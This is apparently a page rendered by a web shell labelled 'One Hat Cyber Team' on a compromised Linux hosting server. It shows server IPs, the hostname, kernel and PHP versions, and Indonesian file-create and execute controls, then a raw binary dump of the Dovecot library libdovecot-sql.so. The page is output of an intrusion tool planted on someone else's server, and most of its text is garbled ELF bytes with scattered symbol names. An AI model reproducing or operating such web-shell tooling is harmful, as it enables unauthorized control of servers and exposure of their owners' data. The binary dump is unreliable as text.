⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib
/
dovecot
/
View File Name :
libdovecot-sql.so
ELF > @ @ 8 @ ) ) 0 0 0 UD UD H H Ȫ Ⱥ Ⱥ $ $ Std Ptd Qtd Rtd H H GNU GNU /8O~ך, C H @` P tށ !J HJ @ bY(AcDH J L N O P Q R U V W Z [ \ ] ^ _ a b c d g i k l n o q s t v x z | hx'xPA1A {'#kRY0Wrs=PM|a|B^C7Rh Yݏk9fjqb_Be)IڛM:34FP mf1ғKn}Q.Yq Dž1Ch| `][Pbbr6,u|GZ'( g[Qfzؔ;+6lһuȸo EBC]=C 6u & . w p F o E 0 d O " 3 ? k a ' " 4 ( = L y x _ < , [ F " I @ U J D pE h O 5 PE O f pO `A k o E x pH B U P 0C K K R l @L 2 q y E 0N . f E R S . PC r V E Q q n PQ 1 D \ H p Y N F o L & 0K j B d H O A Q A P 1 @P m < K N & P @ @ O E @t L f N h p@ @ R H R D `O P 8 A 0G L F O W $ ~ L \ L ! J ~ ) D U * PG 0Y L O __gmon_start__ _ITM_deregisterTMCloneTable _ITM_registerTMCloneTable __cxa_finalize sql_drivers strcmp sql_drivers_init default_pool buffer_create_dynamic_max sql_drivers_deinit buffer_free sql_driver_register buffer_append i_fatal sql_driver_unregister buffer_delete sql_init_common str_hash hash_table_create sql_init_full driver_sqlpool_init_full t_strdup_printf __stack_chk_fail i_panic sql_init sql_ref sql_unref timeout_remove hash_table_iterate_init hash_table_iterate hash_table_iterate_deinit hash_table_clear hash_table_destroy sql_get_flags sql_connect sql_disconnect sql_escape_string sql_escape_blob sql_exec sql_query sql_query_s sql_statement_get_query t_str_new strlen buffer_append_c str_c sql_prepared_statement_init hash_table_lookup hash_table_insert i_strdup sql_prepared_statement_unref sql_statement_init p_strdup pool_alloconly_create sql_statement_init_prepared sql_statement_abort sql_statement_set_timestamp sql_statement_bind_str p_strdup_printf array_idx_set_i sql_statement_bind_binary sql_statement_bind_int64 sql_statement_query sql_statement_query_s sql_result_ref sql_result_unref sql_result_more sql_result_more_s sql_result_get_fields_count sql_result_get_field_name sql_result_setup_fetch strcasecmp sql_result_find_field sql_result_get_field_value sql_result_next_row memset str_to_uint str_to_ullong i_error sql_result_get_field_value_binary sql_result_find_field_value sql_result_get_values sql_result_get_error sql_result_get_error_type sql_transaction_begin sql_transaction_commit sql_transaction_commit_s sql_transaction_rollback sql_update sql_update_stmt sql_update_get_rows sql_update_stmt_get_rows sql_db_set_state sql_transaction_add_query sql_connection_log_finished event_create_passthrough event_want_level e_debug event_send_abort sql_query_finished_event event_get_create_time t_strcut ioloop_timeval timeval_diff_msecs sql_transaction_finished_event sql_not_connected_result sql_db_module_register event_category_sql array_idx_modifiable_i hash_table_try_remove sql_db_cache_new i_strdup_printf sql_db_cache_init sql_db_cache_deinit event_unref buffer_get_modifiable_data buffer_set_used_size ioloop_time e_error timeout_reset event_create event_get_parent buffer_append_space_unsafe e_warning timeout_add driver_sqlpool_db event_add_category event_set_append_log_prefix t_push pool_datastack_create t_strsplit_spaces strchr t_strdup_until t_strarray_join i_strconcat t_pop_pass_str sql_drivers_register_all libdovecot.so.0 libc.so.6 libdovecot-sql.so.0 GLIBC_2.4 GLIBC_2.2.5 /usr/lib/dovecot ii ui ? `? ? ( ? h ? [ 0 @a 8 _ @ `c H ` P pn X @m ` i h d p l x 0h p[ ` P` x L J " ȿ $ п 9 ؿ < C F Z M P c _ ( 0 8 @ H P a X ` h p x O Ƚ н ؽ S ! # % ( T 0 W 8 & @ ' H ( P ) X * ` + h t p , x X - p . / 0 y 1 s Ⱦ f о 2 ؾ N 3 4 5 6 ~ 7 [ 8 ( : 0 ; 8 L @ = H > P ` X ? ` @ h A p B x D E G HH HtH 5 % h h h h h h h h q h a h Q h A h 1 h ! h h h h h h h h h h h q h a h Q h A h 1 h ! h h h h h! h" h# h$ h% h& h' q h( a h) Q h* A h+ 1 h, ! h- h. h/ h0 h1 h2 h3 h4 h5 h6 h7 q h8 a h9 Q h: A h; 1 h< ! h= h> h? h@ hA hB hC hD hE hF hG q hH a hI Q hJ A hK 1 hL ! hM hN hO hP hQ hR hS hT hU %% D %= D %5 D %- D %% D % D % D % D % D % D % D % D % D %݆ D %Ն D %͆ D %ņ D % D % D % D % D % D % D % D % D %} D %u D %m D %e D %] D %U D %M D %E D %= D %5 D %- D %% D % D % D % D % D % D % D % D % D %݅ D %Յ D %ͅ D %Ņ D % D % D % D % D % D % D % D % D %} D %u D %m D %e D %] D %U D %M D %E D %= D %5 D %- D %% D % D % D % D % D % D % D % D % D %݄ D %Մ D %̈́ D %ń D % D % D % D % D % D % D % D HH=F 1LD H H 1W H5D H=F H4$H= I 1PLD 1H DH y H5D H=YF \LD H H 1 H5D H=1F 4LD H G 1 H5nD H= F H=+F 1t$H=QF 1PLD 1H YG K H5#D H=E LD H G 1 H5C H=E PLwD 1H F H H5C H=mE pLOD H rF 1W H5C H=EE HLAD H JF 1[ H5C H= E 1H='D 1LE H BF 1 H5JC H=D LH= D 1 LL1 LF H rG 1& H5F H=D H=yF 1LF H G 17 H5F H=_D bH=CF 1TLF H F 1N H5]F H=)D ,H=~F 1 H=E 1H=E 1LF H I 1r H56H H=C LF H I 1 H5H H=C LF H I 1= H5G H=C LB H H 1 H5G H=_C b H5G H=G 1HHt$H=H 1ELNG H /I 1 H5iH H= C H==H 1f. D H= H H9tH Ht H=a H5Z H)HH?HHHtH Htf D =% u+UH=r Ht H=~ d ] w H> ff. f D H@ @ AU1ATUSHH5 HHAHHvtCHLlf D HL9t'L#HI<$PuHL[]A\A]f D HE1[L]A\A] HHY @ H H8IH L H@ H H=~ 0 UHH/H|$HH.H~ Ht$HPH8H] H~ 1LL@IAIIt.1 HH9tH9<uILLBfff. @ H U( SHHH-U~ G H} Hu 1Hǃ H L~ H H ~ H[]e D AVAUATUSHLgdH%( HD$1M$L/HHILHHt~@uaH@HtHHLHЅxYH<$PH$H1HT$dH+%( uYH[]A\A]A^f. LVH$H뼐HLH룸LH== 1If H8dH%( HD$(1HH|$H|$Ht$Ht$HD$ DHD$HT$(dH+%( uH8ff. G G f. AVAUATUSH L'dH%( HD$1H AD$ IT$(Ht LAD$ AD$ ~)HD$dH+%( H []A\A]A^ I$@ Ll$>I$ H\$LH$H HH<$LH tXHl$EHE H HuL5{ HuI>Ht HP I>HHE HP f HI$ FI$ )HD$dH+%( uID$ H L[]A\A]A^ff. HG0HtGff. ( t UH1U8 H0 H9H0 HHE8]]ff. UHH@ HE@H]f gHf f D gPf gXf g`f AWAVAUATU1SH HHK1IHAL9Hs HS2HD$D$@tfE1G9l$M4MLLLHHSAEI4@t@?tL f. 9l$jHL[]A\A]A^A_ ATUHSHH HtIă@[L]A\fH Ht,HHHpIH L6L[]A\f D Hx H8HPHHI@ ID$H @ HH BB ATUHSHHH HtRHxIHI $I|$H ID$@ ID$ ID$HL[]A\ D H=8 ( HH H|$PH|$IHxff. ATSHHH?H HtCHо@ H IHI|$I$ID$ ID$HL[A\fHsH[A\ SH H HH HtHHCHtH H{[H@f D [ff. HH Ht AUIATAHUHHH?dH%( HD$1/H}H5<7 H1HH}DH$'HE H Ht LDHHD$dH+%( u H]A\A]]ff. f AVIAUIHATALUHHH?dH%( HD$1H}H5: H1RHH}DH$HE H HtLLDHHD$dH+%( u H]A\A]A^ AUIATAH5x6 UHHHdH%( HD$1HH}DH$HE H Ht LDHHD$dH+%( u H]A\A]-ff. f UHH/H HE H Ht HH] HHT$H4$HL$H$H} HHEHtH H}H@H] H]f ATUHH/H HE HH HtH]A\ 3H} HIHEHt H H}PHL]A\f D GX UGX_HGXu5HwxHtHs H8HP HEx HE H]f. ]ff. HH@PH#HH ff. @ SHH@PHH1HOHH; ([ff. gf gf AWAVAUATIUSH(Hx HT$H $t+HD$I$ H$I$ H([]A\A]A^A_ HAD$pʼnHHD$Hr HH8HVHH9HPID$xtD$ E1 LDH{HH IE1 D AFIH@L<IHt`HhuAIOLHID$xHHwH 5 D$D$HH9$IL9l$h LHID$xH@f. g f g(f AWAVAUATUHSHW H H H 1DmpE 1L=2 +f. MtLS HI9tOHExI܉IJ| tHLexIA$It$H tVw,uHL6I9u @ H[]A\A]A^A_ @ uMtA<tt<1vnf D M_LOf g0f g8f g@f gHf D ghf LH I LH@pf D LH I LH@xf D LH I LH H1H ff. ATUHSHL&H H Ht [L]1A\LH !1HHID$HtH [I|$]A\H@ []A\ H ATUHSHHL&H H HtHL[]A\ LHT$H HT$HHID$Ht H I|$H@H[]A\ H[]A\ D( A9t H ( HtH Dfff. @ AVIAUIATIUHLSH PLLHhHH} LkHCtHEHH][]A\A]A^ D H]H][]A\A]A^ff. @ ATL%. ULSHH H=/ PPh1 LHHt4LX LH1LH H '0 LP []A\"f[H]A\ @ AWAVAAUIATMUHSHHH(dH%( HD$1IL H5K- H H=]. PL Hh@BH=U. HH=l LIEu]HP ~H5:. H=*. AU@HX MtA,$HD$dH+%( u$H(L[]A\A]A^A_ HH 1 HH- H5~, CH=- H@Hf =m AVAUATU- m SHuHl l (U-l H 1H@H 9 H L AD$ AD$ y{ Ml$AEI} Mutj=l uHjl ol (U-`l I 1H@I 9s4I H HXMt$I][]A\A]A^ I]mhUSHG eHoHH =k 5k uHk k 0V5k H 1H@H 9 H mHSH HPH{Htz=~k 5tk uHck hk 0V5Yk H 1H@H 9sPH H HhHChH[] D HHCHxHuHChHhH[]fUSHHHdH%( HD$1 H<$a=j 5j uHj j 0V5j H 1H@H 9 H CH(HXHu(H;|t]H 9i Hu(H;Ht HP H;HHE( HP H$HH@( 7HD$dH+%( uH[] AVIAUIATUHSHH=2- H HVH6dH%( HD$1H;HI3HD$H =i 5i HuHli qi 0V5bi H 1H@H 9{ H H(E tVHh LH8HP E H|$UHD$IE 1HT$dH+%( H []A\A]A^f HHE HE f D C9C w HC 9CsHt$LHp Hig 8 H8HPH|$=ch HXHŋ5Rh L`(HG Hl$HE0H"HG(t,HT$H Hu(HT$H;J D Hg g 0V5g Hf LH8HP ff. AT UH-f SH} HPHu Lef 1H lf IHA\$ L[]A\ @ UH/H H} tf. HXH} uH Hf H]H8HH@ fUSHH/H H} H} H}(H e Hu0H;Ht HP H;HHE0 HH@ H[]ff. SHH dH%( HD$1H HC8H $Ht Hs@H=ye HHt_HSHPHSHt6HHC H H$HD$dH+%( uBH[f D HSH; uH fHKH; HSH ff. fUH8 Ht H8 HE0Ht H H}0PHd H]H8HH@ f UHHv(U H]ff. f. AT1UHSHH dH%( HD$1H LgIL9t H D HH<I9uH 1HvH Ht"f. HH$4H HuH H 1^HH L`IL9t0 H3HtHyc H8HP H HI9uH 1H@H ucH TH HH <H Hc H8HD$dH+%( uHHH@ H[]A\6 AWAVAUATUSHH8L dH%( HD$(1M[ L%tb H-( L-) O @ HI$A+FHMF0P~ 1DL$,H ' LXZH|$ L M IFLt$ H;I;$ IV0MV(HtQ1LLD$ H_H5i( LP@Ph~ H HIOLsfL HH50( LP@H=R# PPh H HHD$H|$t#M$H @' H1E+F f D H HD$(dH+%( uH8[]A\A]A^A_AWHAVAAUIATUS1H(H 1HFL>H Ņu# fH@ tft 9 A 1ҍDAIMI4$E9t$tы( uA H(L[]A\A]A^A_f HT$ HL$Ht$JHt$HL$T$ ( g E1 UHH@ \H] AUATAUSHH HHhHH9t4E1 HH9t%H;H@ u~!HA H9uHD[]A\A] @ uEEH D H I1HAL H t6LHID D HH9tH9( uL I9Lff. f IHw0HLf. H 1HAH H t1HHHD HH9tH:( uf D H9 H HHJHHH9u HH9t H8( u6GfAT1UH1SL I@H LIĉEE At)HH q9pvU HȃH9u[]A\fATUHL dH%( HD$1M ( H I$ID$H HBH HID$ I$ H It$0Ht0HD$dH+%( HLHH; ]A\ Md$HMI|$8H@IT$IL$HPHHHtf HBHHuHLH5WH$NHD$dH+%( u:H]A\f D L; %H H ff. @ ATUHSHdH%( HD$H HL`IL9t D H;H|I9uH Ht#H HH$tH HuHD$dH+%( uHH []A\$ff. @ AT@ SHHH[ H8HP H=>" HIfID$0HL[A\f D Hq[ ATUHP SHH8HP1HXIHID$vH g H5! ID$0ID$(L[]A\ff. AVL5W! AUATALUHSHH0L dH%( HD$(1F1L H i! LL1 vHp H} Hx HD$ f)D$H|$H HT$HH|$HD$ Hp PH<$H$H H H H H ǀ8 jH 1HD`IH$I HD$(dH+%( u2H0L[]A\A]A^ L PH$Hd @ AVAUAATIUHSHdH%( HD$1Lt$LNHH A Hus|$ I$ 1HAI$ Ht2HHL H8 v ǀ8 HH9uLLHHtQH] HT$dH+%( H[]A\A]A^f D LLHHAfHt$L#A$x H19NsT$LUHHtH8EH( e1g)f UHHSHHwAuOH 1HAH Ht4HHt HH9tH ( uHU A HD[] ATIUHH(H?dH%( HD$1H Ht$KtkHD$H8HUHMHPHHHt D HBHHuH|$LHD$2HAWHD$dH+%( u&H(D]A\H% HI$A#ff. AVIAUATUHHdH%( HD$1ILu,L%V AD$XHD$dH+%( ukHL]A\A]A^H$LH8I tLH*tL.HD$dH+%( uH$LH8H]A\A]A^Dff. @ AVAUATUHSHH LfHt$dH%( HD$1HD$ t I$ 1H@I$ 9F$ uPHC8Lm`Ht Hs@HH|$xLLHD$dH+%( H []A\A]A^ @ M$ L5 LL4 LC0H L1 Lbf. M$ L57 LL Hl LLIH 1I$ C$H HCHttHI$ I$ tns H{HT$HD$LPH0S _f. L Ls I$ f D Mຜ L` H I$ if ATIUSH H dH%( HD$1Hw 1HW(H,HT$HID$8L`Ht}HD$I|$8H(kHIT$IL$HPHHHt @ HBHHuH|$LHD$H5HD$dH+%( u|H []A\f. ID$8H H@ HHtDHBH H uIH ` H5 oH f D H f AVIAUIATUHSHHdH%( HD$1HHLp8ILh@uPH ID$ I$HtwL`H L trHD$dH+%( H[]A\A]A^ÐH$PAT$ HT$dH+%( u`H8HLH[H]A\A]A^ L IH ` H5 @H boff. @ 11 ATIUSHHdH%( HD$1( t"HD$dH+%( H[]A\ D ( u` uˋ< H@ < H Iغ i8 H5 ]I$ H@ HJHHH9t H( NHH9uHt$LP-T$HL8 HLJ8 HH: D 8 9Gщ8 ff. f AWAVAUI ATIUSH HXHT$ HL$(dH%( HD$HHO H8HPH5O - Hp HHHI|$H5 CE9H5Q H HcH3H=T 1H HH$O H H8H=' HDž H Md$D$<L@ HYHD$L H?H5 LH$|L8M HHx Hl$L- HD$L5 Ld$@L @ H|$LHkHHty= HL=_ bHD$@HHtHHHD$@LxLHL|$@ LH tH<$HHH+HuHl$H $ H'H H{H$H5 H8IHD$HXHH 1A<$ LDHD$L8I H$I9tYL- H H IMwH 1HHE1LLH8 L1'HL9<$ux 1H|$<tC HL H\$@H H8IHDž H D T$@HHH9HƋ@tHD$ H(1HT$HdH+%( HX[]A\A]A^A_fHt$LHt$@H=? 1Hl$Ht$(H|$<H Hf. Džx H H =H 1HHYLx H @ HH Not connected to database set->connect_string != NULL sql-api.c Unknown database driver '%s' db->refcount > 0 prep_stmt->refcount == 0 prep_stmt->refcount > 0 sql statement %ld result->refcount > 0 (*result)->v.more != NULL *result != NULL Trying to allocate %zu bytes sql: Value not uint: %s sql: Value not ullong: %s sql_connection_finished sql_query_finished query_first_word slow_query sql_transaction_finished sql sql_driver_register(%s): Already registered file %s: line %d (%s): assertion failed: (%s) lib-sql: Missing bind for arg #%u in statement: %s lib-sql: Too many bind args (%u) for statement: %s def->offset + field_size <= dest_size Connection finished (queries=%lu, slow queries=%lu) sql_result_more_s sql_result_more sql_result_build_map sql_result_unref sql_prepared_statement_unref sql_prepared_statements_free sql_unref sql_ref sql_init_full Module context sql_db_cache_module missing db->refcount == 2 sql-db-cache.c ctx->refcount == 0 db->refcount == 1 key not found from hash %s %s sql_db_cache_free_tail sql_db_cache_unlink sql_db_cache_db_unref request->prev == NULL && request->next == NULL request->prev != NULL || request->db->requests_head == request array_count(&db->all_connections) == 0 Finished query '%s' in %u msecs: Query timed out (no free connections for %u secs) Transaction timed out (no free connections for %u secs) Invalid value for maxconns: %s idx < array->buffer->used / array->element_size driver-sqlpool.c Query timed out error Timed out file %s: line %d: unreached sqlpool transaction Creating new connection sqlpool: %s Query failed, retrying: %s Query failed, aborting: %s sqlpool(%s): driver-sqlpool.c:531 maxconns Leaked t_pop() call host ../../src/lib/array.h host= sqlpool sqlpool_find_host_with_least_connections sqlpool_request_free sqlpool_request_abort driver_sqlpool_deinit array_idx_i ; } , 4 L L - U gH @ +0 S\ | ̴ ,| b ܵt @ : bp d ̷x ܷ | ̸, d lx ܹ ̺ <4 \\ ܼ \ |( < P d x ̽ <, \T | $ ,` < H Lp 8 ,L <` l | 0 D X l , L \< P < 0 < L X \t | P \ L0 D l l8 d L <4 ` L( | L< zR x $ p FJ w ?:*3$" D ` \ h` t P L H D H @y BDA A(D0L (D ABBG D(D DBB t@ Hw ( < @ ED uA \ ȭ t Q $ k OFG HAA@ 4 FBB A(A0D@} 0A(A BBBK A( @ d H@V A 0 - @ D X ) AX l r FBB A(A0DP_ 0A(A BBBI 0D(A BBBB ЬP P U ak B F H EW 8 L L H ` D t @ < D 8 FBB B(A0C8LP8D0A(B BBB " P 4 FAD \ DBC n ABG < P ) A0 d FAD G0Q DABF 0 |p FAG I DBC HAB B Eo L A 0 FEG G0o ABBA 8 4 ` FEH G(G@r (A BBBA 0 p ĸ FEK G0[ ABBA 0 ~ ED ^ DE ~ AI DA 0 lj FAD a ABI kDB R E L A @ ( X ̹! l ) A Թ2 El P ܹ H عf FBB B(D0A8D`m 8A0A(B BBBD ( 8 ` H ܺ \ غ H p Ժ. FBB B(A0D8D@ 8A0A(B BBBE P( @ , @ T h | @ m FAD Z DDC g FBI AAB ܻ L ػ FAD D0] DABE { AABI D AAB L 1 H ` Dq FEE D(G0x (A BBBF I(A BBB 4 x FMD _ ABG ADB H м FBE E(D0D8J` 8D0A(B BBBI 0 . Hd < L MBB A(G0 (A BBBH 6 0 4 H AAD AAF a AAA 6 ( AAG0 AAA ( xD 0 @ @ Կ$ FEE A(D0NP 0A(A BBBJ ` P ( L FFH tAB N E} $ e AAD [AA ޥ( , ( AD { AG P ʥ( h > Aq EN 0 x FCD D0W AABB Z( 0 X FBB B(A0A8GpxP\xAp/ 8A0A(B BBBA H ` t BEE E(A0A8F` 8D0A(B BBBJ ES 8 { FBG A(D0N (D ABBE `c , X @ > ( T @n BCF _AB ( 4 ha BAD0 NBH v ABG 0 0 FAD D0} HABE $ J FFG pDB ( H ,d IAI MAB @ t pl BNB G(D0G` 0D(A BBBD ` @ |g BBE D(D0D@ 0A(A BBBG $ y ALG _DA( D FDG@ DBA L p FEB A(G@@ (D BBBA P (A BBBE @ $. FBB A(D0GP 0A(A BBBE 0 > FDA D@ AABK T 8 ! FEE A(D0G@z 0A(A BBBB c 0G(H BBBH 0 c FDC G0z AABF L ,L FBB L(D0A8L\ 8A0A(B BBBC ( 6 L ? `? 0 Ht o ` X ؼ ! ` o o p o o T o Ⱥ 00 @0 P0 `0 p0 0 0 0 0 0 0 0 0 1 1 1 01 @1 P1 `1 p1 1 1 1 1 1 1 1 1 2 2 2 02 @2 P2 `2 p2 2 2 2 2 2 2 2 2 3 3 3 03 @3 P3 `3 p3 3 3 3 3 3 3 3 3 4 4 4 04 @4 P4 `4 p4 4 4 4 4 4 4 4 4 5 5 5 05 @5 P5 `5 p5 5 ? ? ? [ @a _ `c ` pn @m i d l 0h p[ ` P` L /usr/lib/debug/.dwz/x86_64-linux-gnu/dovecot-core.debug A9bogStt_9498e103cc1d2f388e4fb41a7ed79a02f9e02c.debug WP .shstrtab .note.gnu.property .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt.got .plt.sec .text .fini .rodata .eh_frame_hdr .eh_frame .init_array .fini_array .dynamic .data .bss .gnu_debugaltlink .gnu_debuglink $ 1 o h ; X X C ` ` K o T T X o p p 0 g ` q B ! ! { 0 0 v 0 0 p 5 5 5 5 ` ; ; 59 Ht Ht ` Ⱥ Ȫ ؼ ج ( ( L Բ 4